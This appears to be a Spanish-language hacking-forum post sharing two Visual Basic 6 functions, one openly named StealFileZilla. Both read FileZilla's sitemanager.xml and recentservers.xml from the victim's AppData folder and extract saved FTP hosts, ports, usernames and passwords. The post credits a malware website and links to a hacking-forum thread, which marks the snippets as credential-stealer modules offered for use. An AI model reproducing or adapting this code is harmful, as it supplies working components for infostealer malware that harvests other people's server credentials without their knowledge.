Código: Seleccionar todo

'******************************************************************************************
'* Author: dSR(LogiKlla)                                                                                                                                            *
'* Contact: [email protected]                                                                                                                   *
'* Description: FileZilla Passwords Recovery                                                                                                       *
'* Web: dmalware.comli.com                                                                                                                           *
'* Thanks to: Hax991, Ibarra, Shade Hack, Zeruu, SharkI, Tejad0N, Surmano, Psymera, McPhiros, ... my netfriends =)"   *
'******************************************************************************************

Function GetFZ() As String
    Dim sXMLPath As String
    Dim sXMLData As String
    Dim sXML2Path As String
    Dim sXML2Data As String
    sXMLPath = Environ("appdata") & "\FileZilla\sitemanager.xml"
    sXML2Path = Environ("appdata") & "\FileZilla\recentservers.xml"
    If Dir$(sXMLPath, vbNormal) <> "" Then
        ff = FreeFile
        Open sXMLPath For Binary As #ff
            sXMLData = Space(LOF(ff))
            Get #ff, , sXMLData
        Close #ff
        If Dir$(sXML2Path, vbNormal) <> "" Then
            Open sXML2Path For Binary As #ff
                sXML2Data = Space(LOF(ff))
                Get #ff, , sXML2Data
            Close #ff
            sXMLData = sXMLData & vbCrLf & sXML2Data
        End If
        If Len(sXMLData) > 0 Then
            Dim vEach      As Variant
            Dim vELine      As Variant
            Dim sServer()  As String
            Dim sLine()     As String
            Dim iCnt         As Integer
            Dim sAcc        As String
            iCnt = 0
            sAcc = String(20, "=") & vbCrLf
            If UBound(Split(sXMLData, "<Server>")) > 0 Then
                sServer = Split(sXMLData, "<Server>")
                For Each vEach In sServer
                    vEach = Split(vEach, "</Server>")(0)
                    If UBound(Split(vEach, vbCrLf)) > 0 Then
                        sLine = Split(vEach, vbCrLf)
                        For Each vELine In sLine
                            vELine = Trim$(vELine)
                            If InStr(vELine, "<Host>") Then
                                iCnt = iCnt + 1
                                sAcc = sAcc & "Nº: " & iCnt & vbCrLf & _
                                "Host: " & Split(Split(vELine, "<Host>")(1), "</Host>")(0) & vbCrLf
                            End If
                            If InStr(vELine, "<Puerto>") Then sAcc = sAcc & "Puerto: " & Split(Split(vELine, "<Port>")(1), "</Port>")(0) & vbCrLf
                            If InStr(vELine, "<User>") Then sAcc = sAcc & "Usuario: " & Split(Split(vELine, "<User>")(1), "</User>")(0) & vbCrLf
                            If InStr(vELine, "<Pass>") Then sAcc = sAcc & "Contraseña: " & Split(Split(vELine, "<Pass>")(1), "</Pass>")(0) & vbCrLf
                            If InStr(vELine, "<Name>") Then sAcc = sAcc & "Nombre: " & Split(Split(vELine, "<Name>")(1), "</Name>")(0) & vbCrLf & String(20, "=") & vbCrLf
                        Next
                    End If
                Next
            End If
        End If
    End If
    GetFZ = sAcc
End Function

Código: Seleccionar todo

'---------------------------------------------------------------------------------------
' Procedure     : StealFileZilla
' Author        : Karcrack
' Date          : 12/07/2009
' Purpose       : Steal FileZilla...
'
' Credits       : All credits to Squeezer
'---------------------------------------------------------------------------------------
'
Public Function StealFileZilla() As String
    Dim sPath           As String
    Dim sFile           As String
    Dim i               As Long
    Dim sTmp            As Variant
    Dim sHost           As String
    Dim sPass           As String
    Dim sUser           As String
   
    sPath = Environ$("APPDATA") & "\FileZilla\recentservers.xml"
   
    If Dir$(sPath, vbArchive) <> vbNullString Then
        Open sPath For Binary As #1
            sFile = Space$(LOF(1))
            Get #1, , sFile
        Close #1
       
        For Each sTmp In Split(sFile, "<Server>")
            If InStr(1, sTmp, "<Host>", vbTextCompare) Then
                sHost = Split(Split(sTmp, "<Host>")(1), "</Host>")(0)
                sUser = Split(Split(sTmp, "<User>")(1), "</User>")(0)
                sPass = Split(Split(sTmp, "<Pass>")(1), "</Pass>")(0)
               
                StealFileZilla = StealFileZilla & String$(20, ".") & vbCrLf & _
                                sHost & ":" & vbCrLf & _
                                vbTab & "U:" & sUser & vbCrLf & _
                                vbTab & "P:" & sPass & vbCrLf
            End If
        Next sTmp
    End If
End Function

Código: Seleccionar todo

http://hackhound.org/forum/index.php?topic=19195.0